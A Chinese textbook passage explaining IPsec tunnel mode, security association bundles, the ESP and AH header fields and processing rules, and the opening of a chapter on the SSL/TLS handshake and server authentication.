隧道模式SA必然是运用于IP隧道的SA。只要安全连接的任意一端是安全网关，SA就必须是隧道模式。因此两个安全网关之间、主机和安全网关间也必然是隧道模式。注意当安全网关是作为主机提供服务时，例如SNMP命令，这时传输模式是允许的，但在这种情况下，安全网关不再扮演网关的角色，例如它不再转发传输流，两个主机间也可以建立隧道模式SA。由于为了避免IPSEC包分段、重组时出现的潜在问题以及这一环境中安全网关后同一目的地存在多重到达路径（例如通过不同的安全网关），对于任意（转发传输流）SA，包括安全网关都应该可以支持隧道模式。

对于隧道模式SA，有外部（outer）IP头、内部（inner）IP头。外部IP头定义了IPSEC处理的目的地，内部IP头定义了包最终地址。安全协议头出现在外部IP头后内部IP头前。如果在隧道模式中使用 AH，外部 IP 头的部分将受到保护。同样所有隧道化（tunneled）IP包也受到保护（即所有内部IP头、更高层协议受到保护）。如果使用ESP，则仅对隧道化的包给予保护而不保护外部头。隧道模式中，内部 IP 头携带最终的源和目的地址，而外部 IP头可能包含不同的IP地址，例如安全网关地址。隧道模式中，AH保护整个内部IP报文，包括整个内部IP头。相对于外部IP头，隧道模式中AH的位置与传输模式中AH的位置相同。图3.22～图3.27说明了典型IPv4和IPv6报文的AH隧道模式的布局。


图3.22 原IP数据包（IPv4）




图3.23 使用AH之后（IPv4，隧道模式）




图3.24 使用ESP之后（IPv4，隧道模式）




图3.25 原IP数据包（IPv6）




图3.26 使用AH之后（IPv6，隧道模式）




图3.27 使用ESP之后（IPv6，隧道模式）



有时需要将AH和ESP联合在一起来提供服务，这时就存在不止一个IPSEC头。如果需要不止一个 IPSEC 头/扩展，安全头的应用顺序必须被安全策略定义。为了简化处理，每个IPSEC头都应该（SHOULD）忽略随后要被应用的IPSEC头的存在（即不关心内容或设法预知内容）。IPSEC的基本架构定义了用户能以多大的精度来设定自己的安全策略，这样一来，某些通信便可统一设置某一级的基本安全措施；而对其他通信则可谨慎对待，为其应用完全不同的安全级别。举个例子来说，我们可在一个网络安全网关上制订IPSEC策略，对在其本地保护的子网与远程网关的子网间通信的所有数据，全部采用DES加密，并用HMAC-MD5进行验证；另外，从远程子网发给一个邮件服务器的所有Telnet 数据均用3DES进行加密，同时用HMAC-SHA 进行验证；最后对于需要加密的、发给另一个服务器的所有Web通信数据，则用IDEA满足其加密要求，同时用HMAC-S安全策略数据库。

安全关联可以通过两种方式组合成束：传输串接（transport adjacency）和嵌套隧道（iterated tunneling）。传输串接指的是对同一个IP报文使用多于一个安全协议，使用传输方式。这种联合AH和ESP的方法只允许一级联合；更多的嵌套并不能增加效益（假设每一个协议中使用了足够强壮的算法），因为这一过程仅被执行于 IPSEC最终目的地的 IP 实例处。以传输串接方式组合的安全关联见图3.28～图3.30。


图3.28 原IP数据包（IPv4）




图3.29 传输串接后的数据包




图3.30 传输串接



嵌套隧道指的是一种对安全协议的多层次应用，这一安全协议是通过IP隧道实现的。这种方法允许多重叠代，这是因为每一个隧道可能沿着一路径在不同的IPSEC站点（IPSEC site）开始、结束。除了那些能通过合适的SPD入口被定义的以外，在中间安全网关处对于ISAKMP传输不希望采用特殊的处理。有三种基本的隧道迭代情况，但是只有情况（2），（3）是必须要支持的：

（1）两个SA的两个端点都相同，内部隧道和外部隧道采用 AH或ESP，当然不可能采用两个AH或者两个ESP，如图3.31所示。


图3.31 类型1



（2）两个SA的一端是相同的，内部隧道和外部隧道采用AH或ESP，如图3.32所示。


图3.32 类型2



（3）两个SA的两个端点都不同，内部隧道和外部隧道采用AH或ESP，如图3.33所示。


图3.33 类型3



嵌套隧道也可以和传输串接组合起来提供服务。例如，一个 SA束能由一个隧道模式SA和一个或两个传输模式SA构成应用序列。值得注意的是嵌套的隧道也能发生在任何隧道源或目的端点都不相同的地方。在这种情况下，没有与嵌套隧道相关的带有束的主机或网关存在。


3.2.4 ESP


ESP（Encapsulating Security Payload ）属于IPSEC 的一种协议，可用于确保IP 包数据的保密性、完整性以及源认证。此外，它也可以用来防范重放攻击。ESP 在 IP 头（以及任何IP 选项）之后，并在要保护的数据之前，插入一个新头，亦即ESP头。受保护的数据可以是一个上层协议，或者是整个IP 数据包。最后，还要在最后追加一个ESP尾。ESP是一种新的 IP 协议，对ESP 数据包的标识是通过IP 头的协议字段来进行的。假如它的值为50，就表明这是一个ESP包，而且紧接在IP头后面的是一个ESP头。RFC 2406对ESP进行了详细的定义。此外，RFC 1827 还定义了一个早期版本的ESP。该版本的ESP没有提供对数据完整性的支持，IPSEC工作组现在强烈反对继续使用它。由于ESP同时提供了机密性以及身份验证机制，所以在其 SA中必须同时定义两套算法，一套用来确保机密性的算法（通常被称作 Cipher），另外一套用来进行身份验证（通常用做 authenticator验证器）。每个ESP的SA 都至少有一个加密器和一个验证器。我们也可定义 NULL 加密器或NULL验证器，分别表示ESP不作加密或不作验证。但在一个ESP的SA内，不能同时定义加密器和验证器均为NULL。因为这样做不仅为系统带来了无谓的负担，也毫无安全保证可言。

随ESP 使用的所有加密算法必须以CBC模式工作，CBC要求加密的数据量刚好是加密算法的块长度的整数倍。进行加密时，可在数据尾填充适当的数据来满足这项要求。随后，填充数据会成为包密文的一部分，并在完成了IPSEC处理后，由接收端予以剔除。假如数据已经是加密器的块长度的一个整数倍，则不需增加填充内容。CBC模式中的加密器要求一个初始矢量（IV）来启动加密过程，这个 IV 包含在载荷字段内，通常是第一批字节。然而，最终还是要由特定的算法规范来定义IV 在什么地方及其大小。对DES的CBC来说，IV是受保护数据字段的头8个字节。

如前所述，ESP既有一个头，也有一个尾，中间封装了要保护的数据。其中，头部分包含了SPI和序列号；而尾部则包含了填充数据（如果有的话）、与填充数据的长度有关的一个指示符、ESP后的数据采用的协议以及相关的校验码。校验码的长度取决于采用的是何种验证器。此时需采用恰当的实施方案，以同时提供对HMAC-MD5和HMAC-SHA 这两种验证器的正确支持，输出数据的长度是96位。不过，由于HMAC-MD5产生一个128位的摘要，而HMAC-SHA产生一个 160位的摘要，只有摘要的高 96位才被用作ESP的校验码，ESP头格式如图3.34所示。之所以决定使用96位，是由于它能与IPv6很好地协调。至于将MAC的输出截去一部分是否安全，目前仍然颇有争议。但大多数人都认为，这种做法并不存在先天性的安全问题，而且事实上，它或许还能增大一定的安全系数。ESP规范对随ESP使用的转换方案提出了具体要求，目前，已经有一份文件描述了如何将DES-CBC作为ESP的加密算法使用；另外两份文件则描述了如何利用对 HMAC-MD5和HMAC-SHA输出的截取，来实现对ESP的验证。其他加密算法文档包括Blowfish CBC、CAST-CBC以及3DES-CBC（均可选为最终的实施方案）。


图3.34 ESP头



下面的部分定义了头格式中的字段。SPI已经在以前讨论过了。

1.有效数据内容

有效数据内容是变长字段，它包含下一个头字段描述的数据。有效数据内容字段是强制性的，它的长度是字节的整数倍。如果加密算法必须同时加密其他同步数据，如初始化向量（IV），那么这个数据也可以放在有效数据内容字段，但是需要指出同步数据的长度、结构和位置。

2.序列号

序列号是一个32位整数，用来提供抗重播服务。当SA建立时，发送方的计数器初始化为0。发送方为这个SA增加序列号，把新值插入到序列号字段中。因此使用一个给定的SA发送的第一个报文具有的序列号为1。如果抗重播服务被禁止（如手工密钥管理情况下），发送方不需要监视或者把计数器置位。但是，发送方仍然增加计数器的值，当它达到最大值时，计数器返回0开始。

如果激活抗重放服务（默认），发送方要检查以确保在序列号字段插入新值之前计数器没有循环。换言之，发送方不能在一个 SA上发送一个引起序列号循环的报文。企图发送一个可能导致序列号溢出的报文，是一个审计事件（注意这种序列号管理方式不需要使用模运算）。发送方假定抗重放服务是一种默认支持，除非接收方另外通告。因此，如果计数器已经循环，发送方将建立一个新的SA和密钥（除非该SA是由手工密钥管理配置的）。

如果接收方不激活 SA的抗重播服务，将不对序列号进行入站检查。但是从发送方观点来看，默认的是假定接收方激活抗重播服务。为了避免接收方做不必要的序列号监视和 SA建立，如果使用SA建立协议如IKE，在SA建立期间，如果接收方不提供抗重播保护，则接收方应该通告发送方。

接收方使用一个滑动的接收窗口来接收数据，窗口必须支持32位的最小窗口大小；但是首选64位窗口大小，且应该是默认使用的。其他窗口大小（大于最小窗口）由接收方选择，接收方不会通告发送方窗口大小。从性能考虑，窗口大小最好是最终实施IPSEC 的那台计算机的字长度的整数倍。窗口最左端对应于窗口起始位置的序列号，而最右端对应于将来的窗口长度个数据包。接收到的数据包必须是新的，且必须落在窗口内部，或靠在窗口右侧。否则将其丢弃。那么，如何判断一个数据包是新的呢？只要它在窗口内是从未出现过的，我们便认为它是新的。假如收到的一个数据包靠在窗口右侧，那么只要它未能通过真实性测试，也会将其丢弃。如通过了真实性检查，窗口便会向右移动，将那个包包括进来。注意数据包的接收顺序可能被打乱，但仍会得到正确的处理。还要注意的是那些接收迟的数据包（也就是说，在一个有效的数据包之后接收，但其序列号大于窗口的长度），会被丢弃。假设一个长度为16位的接收窗口（注意真正的实现中这个长度是不符合规定的）假设最左端的序列号为 N，最右端的序列号自然为N+15 。编号为N+16和N+18以及之后的数据包尚未收到。如果最近收到的数据包 N+17 通过了真实性检查，窗口便会向右滑动一个位置，使窗口左侧变成 N+2，右侧变成 N+17 。这样便会造成数据包 N 无可挽回地被丢弃，因为它现在变成靠在滑动接收窗口的左侧。要注意的一个重点是，除非造成窗口向前滑动的那个包通过了真实性检查，否则窗口是不会真的前进的。不然的话，攻击者便可生成伪造的包，为其植入很大的序列号，令窗口错误移至有效序列号的范围之外，造成我们将有效的数据包错误地丢弃。

3.填充数据

发送方可以增加0～255个字节的填充。ESP分组的填充字段是可选的，但是所有实现必须支持填充字段的产生和消耗。几种因素要求或者激活填充字段的使用：

如果采用的加密算法要求明文是某个数量字节的倍数，例如块加密算法的块大小，使用填充字段填充明文（包含有效数据内容、填充长度和下一个头字段，以及填充）以达到算法要求的长度。

不管加密算法要求如何，也可以要求填充字段来确保结果密文以4字节边界终止。特别是，填充长度字段和下一个头字段必须在4字节字内右对齐，如图3.34所示的ESP头格式，从而确保校验码字段（如果存在）以4字节边界对齐。

除了算法要求或者上面提及的对齐原因之外，填充字段可以用于隐藏有效数据实际长度，支持（部分）信息流机密性。但是，包含这种额外的填充字段占据一定的带宽，因而应当在必要的时候使用。

如果需要填充字节，但是加密算法没有指定填充内容，则必须采用下列默认处理。填充字节使用一系列（无符号、1字节）整数值初始化。附加在明文之后的第一个填充字节为1，后面的填充字节按单调递增：1，2，3，…。当采用这种填充方案时，接收方应该检查填充字段。选择这种方案是由于它相对简单，硬件实现容易。在没有其他完整性措施实施的情况下，接收方可以通过检查解密的填充值来避免简单的剪切粘贴攻击。

填充长度字段指明紧接其前的填充字节的个数。有效值范围是0～255，0表明没有填充字节。填充长度字段是必须有的。

4.下一个头

下一个头是一个8位字段，它标识有效数据内容字段中包含的数据类型，例如，IPv6中的扩展头或者上层协议标识符。该字段值从IANA定义的IP协议号集当中选择。下一个头字段是必须有的。

5.校验码

校验码是可变长字段，它包含一个完整性校验值（ICV），ESP分组中该值的计算不包含校验码本身。字段长度由选择的校验函数指定。校验码字段是可选的，只有 SA 选择校验服务，才包含校验码字段。校验算法规范必须指定ICV长度、校验的比较规则和处理步骤。

如果选择校验，校验之前首先执行加密，而加密并不包含校验码字段。这种处理顺序易于在分组解密之前，接收方迅速检测和拒绝分组重播或伪造分组，因而潜在地降低拒绝服务攻击的影响。同时它也考虑了接收方并行分组处理的可能性，即加密可以与校验并发执行。校验码基于SPI、序列号、有效数据内容、填充（如果存在）、填充长度和下一个头字段都包含在ICV计算中。由于加密比验证先执行，最后4个字段将是密文形式。

一些验证算法中，ICV计算实现所使用的字节串必须是算法指定的块大小的倍数。如果这个字节串长度与算法要求的块大小不匹配，必须在ESP分组末端添加隐含填充（下一个头字段之后），在ICV 计算之前添加。填充八位组必须是 0值。算法规范指定块大小（和因此的填充长度）。这个填充不随分组传输。注意MD5和SHA-1内部填充协定，它们被看作有1字节的块大小。

构建ESP头的确切步骤依赖于模式（传输或者隧道），首先将数据封装到ESP有效数据内容字段，在传输模式中，这些数据只包含原始上层协议信息，而对于隧道模式，则包含整个原始IP数据包。然后将增加所有需要的填充。在使用SA指明的密钥、加密算法、算法模式和加密同步数据（如果需要）加密结果后，如果需要进行校验，再生成校验码。

如果需要，IPSEC实现内部ESP处理之后执行分片。因此传输模式ESP应用于整个IP数据报（而不是IP片段）。ESP处理过的分组本身可以在途中由路由器分片，这样的片段接收方必须在ESP处理之前重组。隧道模式时，ESP应用于一个IP分组，它的有效数据内容可能是一个已分片的IP分组。

在收到ESP数据包之后，如果提供给ESP处理的分组是一个IP分片，即OFFSET字段值非0，或者MF 标志位置位，接收方必须丢弃分组；这是可审核事件。该事件的核查日志表项应该包含SPI的值、接收日期/时间、源地址、目的地址、序列号和（IPv6）信息流ID。收到一个（已重组的）包含ESP头的分组时，根据目的IP地址、安全协议（ESP）和SPI，接收方确定适当的（不定向的）SA。SA指出序列号字段是否被校验，校验码字段是否存在，它将指定解密和ICV计算（如果适用）使用的算法和密钥。

如果本次会话没有有效的SA存在（例如接收方没有密钥），接收方必须丢弃分组；这是可审核事件。该事件的核查日志表项应该包含SPI的值、接收的日期/时间、源地址、目的地址、序列号和（IPv6）明文信息流ID。

如果选择验证，接收方采用指定的验证算法对ESP分组计算ICV但不包含校验码字段，确认它与分组校验码字段中包含的ICV相同。如果计算得来的与接收的ICV匹配，那么数据包有效，可以被接收。如果测试失败，接收方必须将接收的IP数据包丢弃；这是可审核事件。日志数据应该包括SPI值、接收的日期/时间、源地址、目的地址、序列号和（IPv6中）明文信息流ID。

最后，接收方采用 SA指明的密钥、加密算法、算法模式和加密同步数据（如果存在）解密ESP有效数据内容、填充、填充长度和下一个头。在这里，如果指明显式加密同步数据，例如IV，则从有效数据字段得到加密同步数据，并按照算法规范将其输入到解密算法中；如果指明是隐式加密同步数据，例如 IV，则构建本地版本 IV，并按照算法规范将其输入到解密算法中。然后接收方处理所有加密算法规范中指定的填充：如果采用默认的填充方案，接收方应该在把已解密数据传送给下一层之前，以及删除填充之前，检查填充字段。这样就可以重新构建原始IP数据包了。

重新构建原始数据包的确切步骤依赖于模式（传输或者隧道），最小程度上，IPv6 环境中，接收方应该确保已解密数据是8字节对齐，使下一个头字段标识的协议更容易进行处理。


3.2.5 验证头（AH）


与ESP类似，AH也提供了数据完整性、数据源验证以及抗重播攻击的能力，但注意不能用它来保证数据的机密性。正是由于这个原因，AH头比ESP简单得多。AH只有一个头，而非头尾皆有。除此以外，AH头内的所有字段都是一目了然的。RFC 2402定义了最新版本的AH，而RFC 1826定义的是AH的一个老版本，现已明确不再推荐对它提供支持。在那份RFC文件中指定的AH 的重要特性仍在新文件中得到了保留：亦即保证数据的完整性以及对数据源的验证。此外，自RFC 1826问世以来，还出现了一些新的特性和概念上的澄清，它们都已加入新文件。例如，抗重播保护现已成为规范不可分割的一部分，同时增加了在隧道模式中使用AH 的定义。

和 ESP 头相似，AH 头也包含一个 SPI，为要处理的包定位 SA；一个序列号，提供对重播攻击的抵抗；另外还有一个校验码字段，包含着用于保留数据包的加密 MAC 的摘要。和ESP 相同，摘要字段的长度由采用的具体编码方案决定。但不太一样的是，AH默认的、强制实施的加密MAC是HMAC-MD5和HMAC-SHA，两者均被截短为刚好96位。定义了如何将 MAC 应用于 ESP 的同样两份文件（定义 HMAC-MD5-96 的 RFC 2403 以及定义HMAC-SHA-96的RFC 2404）也定义了如何将它们应用于AH。由于AH并不通过CBC模式下的一个对称加密算法来提供对数据机密性的支持，所以没有必要对其强行填充数据，以满足长度要求。有些MAC可能需要填充（如DES-CBC-MAC），但至于具体的填充技术资料，则留待对MAC 本身进行描述的文件加以定义。

AH 的验证范围与ESP有区别。AH验证的是IPSEC包的外层IP头。因此，AH文件对IPv4 及 IPv6 那些不定的字段进行了说明，比如，在包从源传递到目的地的过程中，可能会由路由器进行修改。在对校验码进行计算之前，这些字段首先必须置零。AH 文件定义了AH头的格式、采用传输模式或隧道模式时头的位置、对输出数据如何处理、对输入数据如何处理以及另外一些相关信息，比如分段及重组。相对于ESP来说，AH的必要性在于在不采用隧道模式的情况下，ESP不保护任何IP头字段。

AH协议头（IPv4、IPv6，或者扩展）格式如图3.35所示，它的协议值为51。下一个头（Next Header）、SPI、序列号都已经在前面描述过了，我们这里只介绍一下内容长度字段、保留字段和校验码字段。


图3.35 AH



1.内容长度（Payload Length）

这个8比特的字段指定了AH的长度减去2，以32比特（4个字节）为单位。这是因为，所有的IPv6扩展头，按照RFC 1883，首先从头长度（以64比特量度）减1（64比特），再编码头扩展长度（Hdr Ext Len）字段。AH是一个IPv6扩展头，但是它的长度是以32比特量度，计算内容长度（Payload Length）时应该减2（32比特为单位）。在一般情况下，一个96比特认证值加上3个32比特的固定部分，则这个长度将会是“4”（3+3-2=4）。一个为空（NULL）的认证算法可能只用于调试目的。使用它会导致这个字段的值在 IPv4 中为 1 或者在IPv6中为2。

2.保留（Reserved）

这个16比特的字段保留给将来使用。它必须被设置成“零”（注意，这个值被包括进认证数据的计算，但是它会被接收者忽略）。

3.校验码（Authentication Data）

这是一个变长的字段，其包含这个报文的完整性校验值（Integrity Check Value，ICV）。这个字段的长度必须是32比特的整数倍。这个字段可以包含显式的填充，该填充被包括进来以确保AH头的长度是32比特（IPv4）或64比特（IPv6）的整数倍，所有实现必须支持这种填充。关于如何计算必须的填充长度的细节将在下面提供。认证算法规范必须规定ICV的长度、比较规则和验证的处理步骤。

AH的ICV是对下面数据进行计算：

IP头字段，其或者在传输中不变，或者其在到达AH的SA的端点上的值是可预测的

AH 头（下一个头、载荷长度、保留、SPI，序列号、认证数据（其在这个计算中设置成0）和显式的填充字节（无论什么））

上层协议数据，假定其在传输过程中是不变的

如果一个字段在传输期间可以被修改，则用于计算ICV时该字段的值被设置成0。如果一个字段是可变的，但该字段的值在（IPSEC）接收方是可预知的，那么用于计算ICV时那个值要被填入到该字段中。在准备计算ICV时认证数据字段也被设置成 0。注意，通过用 0替换每个字段中的值，而不是忽略这些字段，是为ICV计算保持对齐。同样，填0的方法确保了这些因此而处理的字段的长度不会在传输期间被改变，即使它们的内容不是显式地被ICV所覆盖。

（1）IPv4中的ICV计算

IPv4基本头的字段按下面来分类：

①不变的：版本、头长度、总长度、ID值、协议（其值应该是AH）、源地址、目的地址（没有松散的或严格的源路由）。

②可变但可预知的：目的地址（没有松散的或严格的源路由）。

③可变的（在计算 ICV 之前设置为零）：服务类型（TOS）、标志、片偏移、生存时间（TTL）、首部校验和。理由是：

TOS：这个字段被排除在外是因为已知一些路由器会改变这个字段的值，尽管 IP 规范不认为TOS是一个可变的头字段。

标志：这个字段被排除在外是因为一个中间的路由器可能会设置DF位，即使报文源并没有设置它。

片偏移：因为AH只被应用于非分片的IP报文，所以片偏移必须总是零，因此该字段被排除在外（即使该字段是可预知的）。

TTL：这个字段的值在路由期间会被路由器作为一个标准处理过程而改变，因此该字段在接收方的值对发送方是不可预知的。

首部校验和：这个字段的值会因为任何其他字段的改变而改变，因此该字段在接收方的值对发送方是不可预知的。

对于IPv4（不同于IPv6），没有机制来标记在传送中可变的选项。因此IPv4的选项被分类成不变的、可变的但又可预知的，或可变的。对于IPv4，整个选项被看作一个单元；所以即使大多数选项中的类型和长度字段在传送中是不变的，但如果有一个选项是属于可变的，则整个选项用于计算ICV时都要清为零。

（2）IPv6中的ICV计算

IPv6基本头的字段可以分成下面几类：

①不变的：版本、载荷长度、下一个头（其值应该是AH）、源地址（Source Address）、目的地址（没有路由扩展头）。

②可变但可预知的：目的地址（没有路由扩展头）。

③可变的（在ICV计算之前清零）：类别、流标签、跳极限。

在逐跳（Hop-by-Hop）和目的扩展头（Destination Extension Headers）中的IPv6选项包含有一个比特，该比特指出选项在传送过程中是否会改变（不可预知的）。对于在路由过程中内容可能变换的任何选项，整个选项数据（Option Data）字段在计算和校验ICV时必须被当作零值的字节串对待。选项类型（Option Type）和选项数据长度（Opt Data Len）被包括进ICV计算。由比特位确定为不变的所有选项都被包括进ICV计算。

由于认证数据字段显式地包括了填充，以确保AH头是32比特（IPv4）或64比特（IPv6）的整数倍。如果需要填充，其长度由下面两个因素决定：ICV 的长度和 IP 协议版本（v4或v6）。

例如，如果所选择的算法的输出是96比特，则对于IPv4和IPv6都不需要填充。但是，如果产生了一个不同长度的 ICV，由于使用了一个不同的算法，那么根据 ICV 长度和IP协议版本可能就需要填充。填充字段的内容由发送方任意选择（填充是任意的，但不必是满足安全性的随机数）。这些填充字节被包括进认证数据计算，作为载荷长度的一部分被计算在内，并且放在认证数据字段的最末端传送，使得接收方能够执行ICV计算。

对于某些认证算法，进行ICV计算所需要的字符串必须是由算法指定的块大小的整数倍长。如果IP报文长度（包括AH）并不匹配算法要求的块大小，隐式的填充就必须被添加到报文的结尾，在ICV计算之前。填充的字节必须置为零。块大小（和由此而来的填充长度）是由算法规范指定的。这个填充并不随着报文一同被发送出去。注意，由于 MD5和 SHA-1内在的填充惯例，它们被看作是只有1个字节的块大小。

接收方在AH处理之前要进行重组。如果提供给AH处理的一个报文看来是一个IP分片，即偏移量（OFFSET）字段值非0，或者MF（MORE FRAGMENTS）标志位置位，接收方必须丢弃该报文；这是一个可审计的事件。该事件的审计日志表项应该包含SPI值、接收日期/时间、源地址、目的地址和（IPv6中的）流ID。

然后接收方根据目的IP地址、安全协议（AH）和SPI，来确定适当的（单向的）SA。如果本次会话没有有效的安全关联存在（例如接收方没有密钥），接收方必须丢弃该报文；这是一个可审计的事件。该事件的审计日志表项应该包含SPI值、接收的日期/时间、源地址、目的地址和（IPv6中的）流ID。最后接收方采用指定的认证算法对报文适当的字段计算ICV，并且校验它与报文的认证数据字段中包含的 ICV 是否相同。如果计算得到的 ICV 与收到的ICV匹配，那么数据包是有效的，可以被接受。如果检验失败，接收方必须将收到的IP数据包作为非法的而丢弃；这是一个可审计的事件。该审计日志数据应该包括SPI值、接收的日期/时间、源地址、目的地址和（IPv6 中的）明文流 ID。接收方采用的基于序列号的抗重播方法和ESP中基本相同。


3.3 TCP层安全SSL/TLS



3.3.1 SSL操作


SSL（Secure Socket Layer）是netscape公司设计的一个的安全传输协议，可以在TCP之上建立一个加密通道。这种协议在 Web上获得了广泛的应用。随着 SSL的不断流行，IETF介入到其中将SSL进行了标准化，即RFC 2246，并将其称为TLS（Transport Layer Security），事实上，TLS1.0与SSL3.0的差别非常微小。

SSL相当复杂，提供了很多选项和变种。我们将从最简单的例子来研究SSL：建立一个加密通道。然后再考虑更复杂的情形：包括认证对方，将加密和认证分开，重新开始一个以前的会话。通过这些例子来对SSL的大致功能建立一个初步印象。

SSL协议中定义了两种角色，一种是客户，另外一种是服务器，这一区分十分重要，这是因为在SSL中，二者表现十分不同。客户发起连接，而服务器响应连接请求，一般情况下，如WWW浏览中，WWW浏览器是客户而网站是服务器。其他使用SSL的也是如此。对于SSL本身，客户和服务器间最重要的区别是它们在协商安全参数时的不同。由于客户发起连接，它有责任提出一系列选项，而服务器则从这些选项中选择一些作为最后使用的选项。尽管服务器具有最后决定权，但是它只能在客户提出的选项中选择。

SSL依靠客户和服务器之间的报文交换来进行通信。SSL定义了各种层次的报文，这将在下一节中讨论。表 3.1 列出了协议中各层使用的报文，本节中其他部分将阐述如何使用这些报文进行通信。


表3.1 SSL报文
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1.建立安全通信

SSL客户和服务器所进行的最基本功能就是建立一个加密通道。图3.36显示了这一操作所需要SSL报文交换，表3.2总结了图中的各步。本节中将详细研究各步及其消息。


图3.36 建立安全通信所需要的SSL报文交换




表3.2 加密通道协商
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续表
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（1）ClientHello

ClientHello报文是最开始使用的报文，客户端使用这个报文向服务器要求开始协商。表3.3列出了这一报文中重要的组成部分。


表3.3 ClientHello组成部分
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Version域用来标识客户所支持的最高SSL版本，目前SSL的最高版本是3.0，TLS一般设置为3.1，注意，服务器可能认为客户会支持所有低于此版本的 SSL协议，比如说，如果客户发送的ClientHello中Version为3.0，而服务器只支持2.0的SSL协议，那么将会用2.0的协议报文去回答，这时客户端将选择是继续会话还是终止会话。

RandomNumber域包含了一个随机数，这个随机数和服务器端产生的一个随机数一起，用于进行随后的一些重要密码学运算。在SSL的实现建议中，建议这个随机数中的4个字节由时间和日期组成，时间和日期并不要求精确，因为它们并不用于计时，只是为了避免产生两个相同的随机数，从而被第三方进行重放攻击。这个值中剩下的28字节，要求是在密码学中安全的随机数。安全性并不总是产生的随机数的要求，但在SSL中随机数的安全性十分重要。在很多计算机系统中，随机数是用一种叫做“伪随机数”的算法产生的，这种算法虽然能够产生看似随机的数值，但有很大的安全问题，如果攻击者知道所用的算法和一些随机值，那么他可以准确地预测出之后的所有随机数，这样可能会导致系统被攻击。因此SSL中建议使用安全的方法来产生随机数。

SessionID用来标识这一安全会话。

客户使用CipherSuite域来列出自己所支持的各个密码参数，包括算法类型和密钥长度。服务器可以从这个列表中选择用在本会话中的参数。

CompresseionMethod域用来表示数据压缩的格式，目前SSL中还没有这方面的参数说明，因此，这个域的使用有限。

（2）ServerHello

在服务器接到ClientHello报文之后，回应以ServerHello报文，如表3.4所示，ServerHello报文的格式与ClientHello格式类似，ServerHello用来决定最后所用的密码学参数。


表3.4 ServerHello组成部分
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服务器用版本域来标识最后会话所用的SSL版本，这与客户端的Version域不同。对于客户端，Version域说明了客户端所支持的最高SSL版本，而ServerHello中的Version域则说明了服务器最后决定用于本次会话的SSL版本，服务器所决定的版本不应当高于客户端所标识的最高支持的版本号。客户端收到ServerHello报文后，如果不支持服务器的选择，则可以断开这次会话。

RandomNumber域包含了一个随机数，它与ClientHello中的组成相同，其中的4个字节由时间和日期组成，另外28个字节是服务器产生的安全的随机数。

SessionID用来标识这一安全会话。

CipherSuite域用来定义本次会话中所使用的算法和密钥长度。

CompresseionMethod域用来表示数据压缩的格式，目前SSL中还没有这方面的参数说明。

（3）ServerKeyExchange

ServerKeyExchange报文包含服务器本身的公钥，具体的格式因公钥体制的不同而不同，这一信息的明文传输使得不能够将会话密钥放在这一报文中。

（4）ServerHelloDone

这一报文告诉客户端服务器已经完成了开始的协商过程，这一报文主要的意义在于，客户端在收到这一报文之后，就可以开始着手建立安全连接了。

（5）ClientKeyExchange

协商结束后，客户端使用这个消息告诉服务器自己的会话密钥。在这一消息中，会话密钥用服务器的公钥进行加密，一方面，避免了会话密钥被监听，另外一方面也可以验证服务器是否拥有相应的私钥。这样，就避免了攻击者冒充服务器，然后将攻击者的公钥发送给客户端这种可能。

（6）ChangeCipherSpec

在客户发出 ClientKeyExchange 报文后，双方就开始使用这些参数进行会话了。SSL 定义了ChangeCipherSpec报文用来明确地指定自己所使用的参数。

定义这个报文，首先是由于建立安全通道的转变点十分关键，所以双方必须明确自己所用的参数。这些参数包括所用的算法、密钥长度、所用的密钥等信息。另外，由于SSL中允许客户和服务器所用的会话密钥不同，也就是说，服务器发往客户端的数据与客户端发往服务器的数据加密密钥不同，因此，需要用这个报文来进行复核。

SSL定义了两种参数，一种是读参数，一种是写参数，写参数定义了自己发送的报文的加密方式和密钥，读参数定义了自己读报文的加密方式和密钥。无论客户端和服务器端，在发送 ChangeCipherSpec 报文时，写参数开始作用，而当收到对方发送的 ChangeCipherSpec时，读参数开始作用。

建立安全通信过程中，客户端状态转移如表3.5所示。


表3.5 客户端状态处理
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类似的，服务器端的状态转移如表3.6所示。


表3.6 服务器端状态处理
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从以上两个表可以看出，客户端和服务器所采取的措施是相对应的。

（7）Finished

在发送完ChangeCipherSpec报文后，每个系统将发送Finished报文，Finished报文使得双方可以核对加密通道已经被安全可靠地建立了。Finished 报文有两个目的，首先，由于Finished 报文本身也是在加密通道中传输的，因此如果对方不能够解密并验证这一报文，就说明在协商过程中出现了一些偏差。其次，在Finished报文中，包含一些协商中重要内容的摘要信息。如表3.7所示，注意其中包含有所有协商过程中的报文（不包含ChangeCipherSpec报文，因为从严格意义上讲，这一报文并不属于协商过程），这样，即使攻击者设法在其中插入了一些报文或者是删除了一些报文，那么也会造成客户端和服务器端之间的摘要值不匹配的情况出现。

Finished报文中所验证的信息包括：

密钥信息；

所有双方所交换的报文的内容（不包括ChangeCipherSpec）；

一个标识是客户还是服务器的特殊值。

2.结束安全通信

SSL定义了一种用来安全结束通信的过程，用来防止遭到截断攻击。所谓截断攻击，就是攻击者通过过早地终止通信来实现对安全的破坏。例如，如果双方通信的内容是“明天删除所有文件，除非得到其他消息”，如果攻击者设法在两句之间终止通信，那么就可能造成双方的误解。SSL 定义了一个特殊消息，ClosureAlert来报告信息已经完全发送，可以结束连接了。这样如果收到了一些信息，但是没有收到 ClosureAlert 报文，那么就可以知道信息还没有发送完全，结束安全通信的过程，如图3.37所示。


图3.37 结束安全通信的过程



事实上，在Web服务中，这一消息并不是总是能收到，Web服务器和客户端采取了另外一些措施来防止截断攻击。

3.验证服务器的身份

以上所阐述的安全通信连接的建立，虽然对于提高安全性有很大的意义，但是并不能够保证通信双方身份的真实性。加密只是保护了数据的保密性，但是如果一方已经被冒充，那么也会产生安全风险。为此，SSL采取了一些措施用以判断对方身份的真实性，以避免身份的冒充。

不过，在 SSL 中，源认证并不总是必要的，例如对于 Web 上的电子商务，客户端需要辨别服务器的身份，这是必须的，但是服务器一般不必要通过SSL来认证客户端身份的真实，因为可以通过其他手段，如付费方式等来判断客户的真假。因此，SSL允许只对服务器进行源认证。

表 3.7 总结了为了认证服务器所需要采取的措施，除了加黑的地方，这些步骤和简单的加密并没有什么大的不同。


表3.7 认证服务器的身份
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（1）Certificate

为了鉴别服务器的身份，服务器发送 Certificate 报文来发送自己的证书。该报文中包括一个从服务器的证书到证书权威（CA）的根证书的证书链。客户端需要验证这一证书的真实可信，为此它需要验证证书签名、有效时间、是否被取消等。此外，这也需要这一CA是被客户端所信任。这是通过其他方式来实现的，例如，客户端事先通过其他安全渠道知道该可信CA的根证书，例如，IE和netscape都预装一些可信的CA的根证书。

